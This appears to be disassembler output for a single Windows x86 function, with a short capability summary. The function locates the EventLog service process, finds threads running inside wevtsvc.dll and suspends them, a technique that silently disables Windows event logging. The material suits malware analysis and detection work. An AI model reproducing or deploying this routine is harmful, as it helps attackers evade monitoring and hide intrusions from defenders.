Function at 0x401410
Capabilities:
Enumerate process modules
Enumerate threads
Query service status
Suspend thread

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x888
mov eax, dword [0x406004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x400
lea eax, [ebp - 0x808]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push 0x400
lea eax, [ebp - 0x408]
mov dword [ebp - 0x80c], 0
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0x18
mov dword [ebp - 0x854], 0
xorps xmm0, xmm0
mov dword [ebp - 0x810], 0
movq qword [ebp - 0x85c], xmm0
mov dword [ebp - 0x814], 0
push 0x2000000
push 0
push 0x404274
movaps xmmword [ebp - 0x850], xmm0
movaps xmmword [ebp - 0x840], xmm0
mov dword [ebp - 0x830], 0
mov dword [ebp - 0x878], 0x1c
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 0x2000000
push str.EventLog
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
lea ecx, [ebp - 0x814]
push ecx
push 0x24
lea ecx, [ebp - 0x850]
push ecx
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
mov eax, dword [ebp - 0x834]
push eax
push 0
push 0x2000000
mov dword [ebp - 0x888], eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0
mov esi, eax
push 4
mov dword [ebp - 0x87c], esi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
lea eax, [ebp - 0x80c]
push eax
push 0x400
lea eax, [ebp - 0x808]
mov dword [ebp - 0x880], edi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_K32EnumProcessModules]
mov eax, dword [ebp - 0x80c]
xor esi, esi
shr eax, 2
mov dword [ebp - 0x884], eax
test eax, eax
je 0x4015e4
nop dword [eax]
mov edi, dword [ebp + esi*4 - 0x808]
lea eax, [ebp - 0x408]
push 0x400
push eax
push edi
push dword [ebp - 0x87c]
call dword [sym.imp.KERNEL32.dll_K32GetModuleBaseNameW]
mov eax, str.wevtsvc.dll
lea ecx, [ebp - 0x408]
nop dword [eax + eax]
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x4015b6
test dx, dx
je 0x4015b2
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x4015b6
add ecx, 4
add eax, 4
test dx, dx
jne 0x401590
xor eax, eax
jmp 0x4015bb
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4015d5
push 0xc
lea eax, [ebp - 0x85c]
push eax
push edi
push dword [ebp - 0x87c]
call dword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
inc esi
cmp esi, dword [ebp - 0x884]
jb 0x401560
mov edi, dword [ebp - 0x880]
lea eax, [ebp - 0x878]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Thread32First]
lea eax, [ebp - 0x878]
push eax
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Thread32Next]
call edi
test eax, eax
je 0x401689
nop word [eax + eax]
mov eax, dword [ebp - 0x888]
cmp dword [ebp - 0x86c], eax
jne 0x401676
push dword [ebp - 0x870]
push 0
push 0x2000000
call dword [sym.imp.KERNEL32.dll_OpenThread]
push str.NtQueryInformationThread
push str.ntdll.dll
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 4
lea ecx, [ebp - 0x810]
push ecx
push 9
push esi
call eax
mov ecx, dword [ebp - 0x810]
mov edx, dword [ebp - 0x85c]
cmp ecx, edx
jb 0x401676
mov eax, dword [ebp - 0x858]
add eax, edx
cmp ecx, eax
jbe 0x40169e
lea eax, [ebp - 0x878]
push eax
push dword [ebp - 0x880]
call edi
test eax, eax
jne 0x401610
xor al, al
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401e48
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
xor ecx, ebp
pop esi
call fcn.00401e48
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret